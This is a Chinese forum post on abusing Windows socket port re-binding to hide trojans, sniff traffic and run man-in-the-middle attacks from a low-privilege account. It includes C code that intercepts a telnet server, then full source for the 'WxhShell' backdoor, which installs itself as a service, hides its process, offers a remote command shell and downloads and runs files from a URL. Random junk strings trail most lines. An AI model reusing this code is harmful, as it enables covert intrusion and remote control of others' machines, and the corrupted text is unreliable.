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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BQs\!~Ux2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _3#_6>=M  
gN*b~&G  
  saddr.sin_family = AF_INET; {xICR ~,*  
l j+p}dt  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); m9\~dD  
@CoUFdbz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vZ^U]h V  
7 ;2>kgf~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $6 4{Ff  
m8+ EMBl  
  这意味着什么?意味着可以进行如下的攻击: }?HWUAL\  
#5iwDAw:|r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $Yw~v36`t/  
8>xd  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Lg7dJnf  
p1T0FBV L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %MCS_'N J  
,F+,A].wG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >\3N#S"PF  
j9-.bGtm?.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 BA8!NR|  
=F5zU5`i  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Tr;&bX5]H  
7;Vmbt9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S,a:H*Hf  
IOJLJ p  
  #include tJGK9!MH{(  
  #include {s6hi#R>  
  #include \XfLTv  
  #include    JbN,K  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CioS}K  
  int main() \6pQ&an  
  { ]LMtZUz  
  WORD wVersionRequested; `BaJ >%|  
  DWORD ret; 3T[zieX  
  WSADATA wsaData; czB),vooz  
  BOOL val; zz8NBO  
  SOCKADDR_IN saddr; z(#dL>d$'  
  SOCKADDR_IN scaddr; n;~'W*Ln0  
  int err; Qo*OC 9E`  
  SOCKET s; 1)f <  
  SOCKET sc; >gl.ILo  
  int caddsize; =Q6JXp  
  HANDLE mt; y I[kaH"J  
  DWORD tid;   42:,*4t(  
  wVersionRequested = MAKEWORD( 2, 2 ); RVF<l?EI4R  
  err = WSAStartup( wVersionRequested, &wsaData ); ( efxw  
  if ( err != 0 ) { 6y"T;.FAo  
  printf("error!WSAStartup failed!\n"); Z|A+\#'  
  return -1; M<Y{Cs  
  } LKZv#b[h  
  saddr.sin_family = AF_INET; p }Bh  
   Owv}lJ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WHu[A/##']  
_:Jma  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [fs.D /  
  saddr.sin_port = htons(23); S%wd Xe  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B3I0H6O  
  { >LB*5  
  printf("error!socket failed!\n"); A+z}z@K  
  return -1; O:8Ne*L`D  
  } =NWzsRl,  
  val = TRUE; tJm1Q#||  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ):n'B` f}z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3-)R'  
  { Pjq()\/[Z  
  printf("error!setsockopt failed!\n"); UMHFq-  
  return -1; Pj5:=d8z(  
  } IBW-[lr7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6H;\Jt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 mApl;D X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +,)Iv_Xl$  
JZJb&q){  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R?Ch8mW.!  
  { };f^*KZ=0  
  ret=GetLastError(); 14(ct  
  printf("error!bind failed!\n"); hE'>8{  
  return -1; `H9 !Z$7G  
  } OU*skc>  
  listen(s,2); 0%yPuY>  
  while(1) w BoP&l  
  { f?(g5o*2  
  caddsize = sizeof(scaddr); is^5TL%@  
  //接受连接请求 4.>y[_vu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J?1Eh14KZ  
  if(sc!=INVALID_SOCKET) *|gl1S  
  { P~PM$e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &<cP{aBa  
  if(mt==NULL) d^0-|sx  
  { vOl3utu7  
  printf("Thread Creat Failed!\n"); //bQD>NBO  
  break; ET%F+  
  } R''2o_F6  
  } ?`75ah  
  CloseHandle(mt); (@=h(u.  
  } %UG|R:  
  closesocket(s); *9`k$'  
  WSACleanup(); 3~LNz8Z*  
  return 0; gm1RQ^n,@.  
  }   aFL<(,~r  
  DWORD WINAPI ClientThread(LPVOID lpParam) o<5+v^mt#  
  { H)Z$j&S{  
  SOCKET ss = (SOCKET)lpParam; f{|n/j;n=C  
  SOCKET sc; j#YVv c%  
  unsigned char buf[4096]; V}JBv$+ko  
  SOCKADDR_IN saddr; TeyFq0j@'  
  long num; l vBcEg  
  DWORD val; {5+ 39=(  
  DWORD ret; (R9"0WeF  
  //如果是隐藏端口应用的话,可以在此处加一些判断  Gc;-zq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /sqfw,h@  
  saddr.sin_family = AF_INET;  TZdJq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !yz3:Yzu  
  saddr.sin_port = htons(23); ?iL-2I3*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ly@%1  
  { x6vkd%fCj  
  printf("error!socket failed!\n"); R?J8#JPXD  
  return -1; {@PZlQg  
  } g9IIC5  
  val = 100; jPg[LZQ'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0QEcJ]Qb8  
  { TjpAJW@-  
  ret = GetLastError(); &7Xsn^opku  
  return -1; ${97G#  
  } $-(lp0\*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _6L'}X$)N  
  { YI]/gWeu  
  ret = GetLastError(); %2beoH'  
  return -1; ;x/. 8fA  
  } 9MbF:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fS%B/h=  
  { 0;w84>M  
  printf("error!socket connect failed!\n"); `*]r+J2  
  closesocket(sc); zY].ZS=7  
  closesocket(ss); .m xc~  
  return -1; 2Ic)]6z R  
  } s,M]f,T  
  while(1) 8/~@3-9EK  
  { ?}C8_I|4~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m`4N1egCt  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GZmfE`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gmOP8.g  
  num = recv(ss,buf,4096,0); Ia:M+20n  
  if(num>0) <W*6=HZ'  
  send(sc,buf,num,0); C k/DV  
  else if(num==0) WISK-z  
  break; ~SXqhX-`  
  num = recv(sc,buf,4096,0); \8k4v#wH  
  if(num>0) m,F4N$  
  send(ss,buf,num,0); 59V8cO+qH  
  else if(num==0) !VHw*fL|r  
  break; ~b[5}_L=>  
  } #=Whh 9-d  
  closesocket(ss); =n;LP#(h?  
  closesocket(sc); G%CS1#  
  return 0 ; +5%ncSJx  
  } V! .I>  
H<q z rO  
tNAmA  
========================================================== Q=epUHFs  
dSS Ai |}  
下边附上一个代码,,WXhSHELL ixqvX4vv,B  
|WgFLF~k  
========================================================== &7eN EA  
6?/f $,v  
#include "stdafx.h" =$_kkVQ$  
s|R`$+'{  
#include <stdio.h> `*B6T7p1  
#include <string.h> [9y y<Z5  
#include <windows.h> 1=^|  
#include <winsock2.h> ? O9|  
#include <winsvc.h> #5X+. !L  
#include <urlmon.h> b >'c   
hF1Lj=x  
#pragma comment (lib, "Ws2_32.lib") ]v_u2f'  
#pragma comment (lib, "urlmon.lib") t ;y@;?~  
;r XZ?"  
#define MAX_USER   100 // 最大客户端连接数 "~"=e  
#define BUF_SOCK   200 // sock buffer <V|\yH9  
#define KEY_BUFF   255 // 输入 buffer 9zpOp-K6  
f2ck=3  
#define REBOOT     0   // 重启 m-Se-aF  
#define SHUTDOWN   1   // 关机 bc2S?u{  
6dRvx;d  
#define DEF_PORT   5000 // 监听端口 OZe`>Q6  
+t(Gt0+  
#define REG_LEN     16   // 注册表键长度 !{A#\~,  
#define SVC_LEN     80   // NT服务名长度 Jn20^YG  
_t6 .9CXl  
// 从dll定义API mzf^`/NO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +0:]KG!Zs.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c >xHaA:V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BD mF+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =!($=9  
{=+'3p  
// wxhshell配置信息 x(:alG%#  
struct WSCFG { f;b f R&v  
  int ws_port;         // 监听端口 I0_>ryA  
  char ws_passstr[REG_LEN]; // 口令 Qn@[{%),4  
  int ws_autoins;       // 安装标记, 1=yes 0=no _ujhD  
  char ws_regname[REG_LEN]; // 注册表键名 (,RL\1zJ  
  char ws_svcname[REG_LEN]; // 服务名 Yb'%J@T}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &#'.I0n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t;t;+M|W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q776cj^L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &E-q(3-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pc;`Fz/`7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 T~d_?UAw$  
UvL=^*tm  
}; rW*[sLl3  
I8\R7s3  
// default Wxhshell configuration ZD4:'m`T/  
struct WSCFG wscfg={DEF_PORT, sTxbh2  
    "xuhuanlingzhe", ,fhK  
    1, RZ?abE8  
    "Wxhshell", nMBF/75  
    "Wxhshell", X//=OpS`  
            "WxhShell Service", tjcsT>  
    "Wrsky Windows CmdShell Service", 4^ZbT  
    "Please Input Your Password: ", +_ $!9m  
  1, w|-m*v .  
  "http://www.wrsky.com/wxhshell.exe", 2xv[cpVi  
  "Wxhshell.exe" Q|7m9~  
    }; )p{,5"0u  
p }3$7CR/  
// 消息定义模块 f/sLQdK,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 43!E>mq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )J 8mn*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [u^~ND'  
char *msg_ws_ext="\n\rExit."; P o\d!  
char *msg_ws_end="\n\rQuit."; V"KuwM  
char *msg_ws_boot="\n\rReboot..."; `F_R J.g*p  
char *msg_ws_poff="\n\rShutdown..."; Y 9BKd78Y  
char *msg_ws_down="\n\rSave to "; +[[^W;<.l  
R'^J#"[  
char *msg_ws_err="\n\rErr!"; eo&G@zwN   
char *msg_ws_ok="\n\rOK!"; zuJ@@\75  
m=60a@o]  
char ExeFile[MAX_PATH]; g2YE^EKU~  
int nUser = 0; z#6(PZC}  
HANDLE handles[MAX_USER]; ,]tMZ?n8  
int OsIsNt; m-Qy6"eW  
?:+p#&I  
SERVICE_STATUS       serviceStatus; Am >b7Z!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {gB9EGY  
]#W9l\  
// 函数声明 6U1_Wk?   
int Install(void); <9S5  
int Uninstall(void); /Nhc|x6zQ  
int DownloadFile(char *sURL, SOCKET wsh); x}OJ~Yk]  
int Boot(int flag); NOl/y@#  
void HideProc(void); E=ObfN"ge  
int GetOsVer(void); "!:)qVL^  
int Wxhshell(SOCKET wsl); tV2o9!N4  
void TalkWithClient(void *cs); !#PA#Q|cO  
int CmdShell(SOCKET sock); (Y  
int StartFromService(void); RAA,%rRhu(  
int StartWxhshell(LPSTR lpCmdLine); 43*;"w=  
UW{C`^?=B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Tzfk_h3hE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -(zw80@&  
E*L5D4Kw  
// 数据结构和表定义 Wp^ A.  
SERVICE_TABLE_ENTRY DispatchTable[] = af&P;#U  
{ <'~6L#>,<  
{wscfg.ws_svcname, NTServiceMain}, y]uBVn'u  
{NULL, NULL} !14l[k+\  
};  ">q?(i\  
P&*e\"{  
// 自我安装 'wo}1^V  
int Install(void)  X*`b}^T  
{ .+5;AtN  
  char svExeFile[MAX_PATH]; {]O.?Yru?  
  HKEY key; U/-|hfh  
  strcpy(svExeFile,ExeFile); R+9 hog  
k>:\4uI|<\  
// 如果是win9x系统,修改注册表设为自启动 &x/Z {ut  
if(!OsIsNt) { ,E2c9V'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { so A] f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zG<>-?q~'  
  RegCloseKey(key); b6@0?_n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J>fq5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CT (HTu  
  RegCloseKey(key); Wli!s~c5Fo  
  return 0; m(CsO|pz  
    } (w Q,($@  
  } ^j2z\yo  
} H:mcex  
else { u|(Iu}sE=  
 y)3OQ24  
// 如果是NT以上系统,安装为系统服务 xo{z4W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +; =XiB5R  
if (schSCManager!=0) z h%b<  
{ a@#<qf8g  
  SC_HANDLE schService = CreateService +#6f)H(P]  
  ( DKG; up0  
  schSCManager, Zk5AZ R!|  
  wscfg.ws_svcname, 6dYa07  
  wscfg.ws_svcdisp, iAXF;'|W  
  SERVICE_ALL_ACCESS, 0<nW nD,z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5[P^O6'  
  SERVICE_AUTO_START, AH^'E  
  SERVICE_ERROR_NORMAL, 6df`]s c  
  svExeFile, o}yA{<"  
  NULL, |oR#j `  
  NULL, vhN6_XD  
  NULL, <SRo2rjRa  
  NULL, b6'ZVB  
  NULL |pE ~  
  ); X rut[)H  
  if (schService!=0) . Fm| $x  
  { q0@b d2}  
  CloseServiceHandle(schService); }{.V^;  
  CloseServiceHandle(schSCManager); \# 1p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e?;  
  strcat(svExeFile,wscfg.ws_svcname); :d@RN+U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y4Nam87;/?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VA%4ssy  
  RegCloseKey(key); |lh&l<=(f  
  return 0; ULxgvq  
    } l;h5Y<A%?  
  } ngzQVaB9  
  CloseServiceHandle(schSCManager); cpx:4R,  
} U \jFB*U  
} +l<;?yk:;  
|C7=$DgwY  
return 1; % xBQX  
} F`o"t]AD-a  
unyU|B  
// 自我卸载 Qi|k,1A0  
int Uninstall(void) ;p:CrFv  
{ ;z~j%L%b  
  HKEY key; D+7[2$:z  
i$H9~tPs  
if(!OsIsNt) { 'acCnn'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TZarI-A  
  RegDeleteValue(key,wscfg.ws_regname); + ,rl\|J%  
  RegCloseKey(key); isz-MP$:K5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {-yw@Kq  
  RegDeleteValue(key,wscfg.ws_regname); #W/ATsDt  
  RegCloseKey(key); jr^btVOI#\  
  return 0; /=KEM gI?  
  } K%;=i2:  
} HyIyrUrYW  
} `Nv7c{M^  
else { mA5sK?W  
au/5`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'Ge8l%p  
if (schSCManager!=0) SI7r `'7A'  
{ JY$;m3h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yRt7&,}zL  
  if (schService!=0) MkM`)g 5  
  { C%"aj^u  
  if(DeleteService(schService)!=0) { 3/8<dc  
  CloseServiceHandle(schService); Y5<W"[B!  
  CloseServiceHandle(schSCManager); :%IB34e  
  return 0; ^-(DokdBn  
  } 8#RL2)7Uy`  
  CloseServiceHandle(schService);  x(A6RRh  
  } `Cz_^>]|=  
  CloseServiceHandle(schSCManager); 2FEi-m}  
} w+hpi5OH  
} |^OK@KdL1  
Uq.hCb`:  
return 1; B9]bv]  
} ]i8t  
.v['INK9  
// 从指定url下载文件 o RK:{?Y  
int DownloadFile(char *sURL, SOCKET wsh) %t]{C06w+{  
{ ;+lsNf  
  HRESULT hr; VBK|*Tl  
char seps[]= "/"; yER  
char *token; Eopb##o  
char *file; xn1, o MY=  
char myURL[MAX_PATH]; {X-a6OQj  
char myFILE[MAX_PATH]; i~rb-~o  
Am#Pa,g  
strcpy(myURL,sURL); dHtEyF  
  token=strtok(myURL,seps); fRp(&%8E  
  while(token!=NULL) X5=I{eY}  
  { fD%20P`.  
    file=token; dAi.^! !  
  token=strtok(NULL,seps); WLCr~r^  
  } W4)bEWO+q  
yn.[-  
GetCurrentDirectory(MAX_PATH,myFILE); cuL/y$+EY  
strcat(myFILE, "\\"); u"DE?  
strcat(myFILE, file); l6.&<0pLT  
  send(wsh,myFILE,strlen(myFILE),0); ?3<Y/Vg%c  
send(wsh,"...",3,0); Fp>nu_-"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LXf|n  
  if(hr==S_OK) 40 zO4  
return 0; mcxD#+H 3  
else )QI#szv6  
return 1; \9]- (j6[H  
imyfki $B  
} _Zxo <}w}y  
c~!ETwpHQ  
// 系统电源模块 .>Fpk7  
int Boot(int flag) 877Kv);  
{ 'Qg.D88  
  HANDLE hToken; & 5QvUn  
  TOKEN_PRIVILEGES tkp; x|g2H.n  
%I@ vMs^  
  if(OsIsNt) { P|TM4i]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /`j2%8^N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |Gr@Mi5  
    tkp.PrivilegeCount = 1; P[r$KGz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T NF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \ZBz]rh*  
if(flag==REBOOT) { WnA Y<hZ|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =Ea,8bpn  
  return 0; {8,_[?H  
} Pav  
else { SME]C') 7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GZm=>!T  
  return 0; D H:9iX'  
} Ti>}To}B5  
  } +R"n_6N  
  else { kH4m6p  
if(flag==REBOOT) { fr&p0)85>B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j_S3<wEJ  
  return 0; *E-MJCv  
} =FfR?6 ~  
else { mB%m<Zo\U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ( geV(zT  
  return 0; N]&hw&R{Q  
} ruy?#rk  
} Y\F4  
CiTWjE?|7  
return 1; <eZrb6a'  
} )M@^Z(W/a  
F1p|^hYDW  
// win9x进程隐藏模块 L+0:'p=  
void HideProc(void) n%!50E6*:  
{ %1)JRc  
zbfe=J4c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m3XT8F*&  
  if ( hKernel != NULL ) j?VHR$  
  { V(Oi!(H;v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P=X)Ktmv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !e('T@^u6u  
    FreeLibrary(hKernel); ,I:[-|Q  
  } Wj, {lJ,  
1[\I9dv2  
return; 61*b|.sl'#  
} P@Vs\wAT  
C#RueDa.  
// 获取操作系统版本 Pd~z%VoO  
int GetOsVer(void) IG~Zxn1o  
{ ]PbwG  
  OSVERSIONINFO winfo; \U'*B}Sz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u(JuU/U  
  GetVersionEx(&winfo); 7<k@{xI/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6` 3kNk;  
  return 1; _:JV-lM  
  else <80M$a g  
  return 0; SRrp= >w?  
} ^[v>B@p*{  
lo36b zbT  
// 客户端句柄模块 !"'@c  
int Wxhshell(SOCKET wsl) T7N\b]?j@Y  
{ ,QLy }=N  
  SOCKET wsh; tR_DN  
  struct sockaddr_in client; o_r{cnu  
  DWORD myID; !ED,'d%J  
5xa!L@)`wF  
  while(nUser<MAX_USER) S4OOm[8  
{ J$-1odL0Z  
  int nSize=sizeof(client); jI$7vmO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nyOvB#f  
  if(wsh==INVALID_SOCKET) return 1; !RN9wXS7  
o@YEd d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r$%,k*X^ k  
if(handles[nUser]==0) mOFp!(  
  closesocket(wsh); 5"D\n B%  
else Ah zV?6e  
  nUser++; f?"909&  
  } fLV@~T|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NC|VZwQtm  
y/+y |.Xg  
  return 0; u Npa2{S'  
} EpENhC0  
vb`:   
// 关闭 socket /}s#   
void CloseIt(SOCKET wsh) $[b1_Db  
{ dCzS f4:  
closesocket(wsh); D?"Q)kVuD  
nUser--; uFaT~ 4  
ExitThread(0); l!IN#|{(  
} ca%XA|_J  
XOEf,"  
// 客户端请求句柄 kZ!&3G9>-  
void TalkWithClient(void *cs) Ex{;&UWm  
{ &]c7<=`K"  
s2K8|q=  
  SOCKET wsh=(SOCKET)cs; 7s;*vd>  
  char pwd[SVC_LEN]; iF1zLI<A  
  char cmd[KEY_BUFF]; RMAbu*D0  
char chr[1]; oB+@05m8  
int i,j; ]Y f8  
mQ\oR|  
  while (nUser < MAX_USER) { v&`n}lS  
^{-Z3Yxd  
if(wscfg.ws_passstr) { &p=(0$0&-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4 rD&Lg'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +^a@U^V  
  //ZeroMemory(pwd,KEY_BUFF); MU1T="N^+  
      i=0; `[tYe<  
  while(i<SVC_LEN) { QtOT'<2t]  
RG- ,<G`  
  // 设置超时 7Ur'@wr  
  fd_set FdRead; {tnhP^C3>  
  struct timeval TimeOut; -i4hJC!3  
  FD_ZERO(&FdRead); pFEU^]V3*  
  FD_SET(wsh,&FdRead); U"K%ip:Wd  
  TimeOut.tv_sec=8; +b{tk=Q:  
  TimeOut.tv_usec=0; &9xcP.3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [8[`V)b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sA+( |cEh  
))J#t{X/8v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a1ai?},  
  pwd=chr[0]; ['I5(M@  
  if(chr[0]==0xd || chr[0]==0xa) { QW&@>i  
  pwd=0; {;hR FQ^b  
  break; N ^H H&~V  
  } weIlWxy  
  i++; XMpE|M! c  
    } QB7^8O!<  
h'A #Yp0,  
  // 如果是非法用户,关闭 socket B|rf[EI>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9>d~g!u=  
} I@q4D1g  
?gS~9jgcd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ] -G~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~<=wTns!  
~93+Oxg  
while(1) { 6Ou[t6  
M_\)<a(8  
  ZeroMemory(cmd,KEY_BUFF); Xyw;Nh!!d  
)(`,!s,8)  
      // 自动支持客户端 telnet标准   T2k# "zD  
  j=0; TzsNhrU{  
  while(j<KEY_BUFF) { @34CaZ$k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &P>a  
  cmd[j]=chr[0]; R?l={N=Wf  
  if(chr[0]==0xa || chr[0]==0xd) { 0EUC8Ni  
  cmd[j]=0; 0,m@BsK  
  break; AkBEE  
  } m# I  
  j++; G88g@Exk  
    } -}Gk@=$G  
;5=5HYx%  
  // 下载文件 tR-rW)0K3Q  
  if(strstr(cmd,"http://")) { =bb)B(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fx@@.O6  
  if(DownloadFile(cmd,wsh)) .4,l0Nn`W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3d>xg%?  
  else S{)'1J_0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q6V\n:hKV  
  } q]z%<`.9*  
  else { Su[f"2oR  
Y_M3-H=0  
    switch(cmd[0]) { qF4pTQf  
  4:qM'z  
  // 帮助 I#](mRJ6  
  case '?': { gz`P~7-w:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !T26#>mV  
    break; 1&JB@F9!  
  } _6MNEoy?  
  // 安装 _<;westq  
  case 'i': {  c|~f[  
    if(Install()) RQd5Q.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N`!=z++G  
    else 98t|G5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PH]ui=  
    break; ?1/wl;=fm  
    } PD@@4@^  
  // 卸载 SR&'38UCe  
  case 'r': { *qL"&h5W  
    if(Uninstall()) w_^g-P[o-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ck^jgB.7  
    else e{`DvfY21  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .k:Uj-&  
    break; #6qLu  
    } 2W=am_\0e.  
  // 显示 wxhshell 所在路径 atjrn:X  
  case 'p': { )\0LxsZ  
    char svExeFile[MAX_PATH]; tU(vt0~b  
    strcpy(svExeFile,"\n\r"); "(SZ;y  
      strcat(svExeFile,ExeFile); |>AHc_:$$  
        send(wsh,svExeFile,strlen(svExeFile),0); ? Glkhf7(  
    break; GbbD)  
    } e=EM07z  
  // 重启 L9(!L$  
  case 'b': { NW@guhK.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .eM A*C~n  
    if(Boot(REBOOT)) X4:SH> U!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uOnyU+fZV  
    else { +#0,2 wR#  
    closesocket(wsh); ttC+`0+H  
    ExitThread(0); ~:lN("9OI  
    } }e0)=*;l  
    break; Zk75GC  
    } ,[0rh%%j  
  // 关机 <{b#nPc!,#  
  case 'd': { IBe0?F #  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 334tg'2]  
    if(Boot(SHUTDOWN)) 00(#_($  
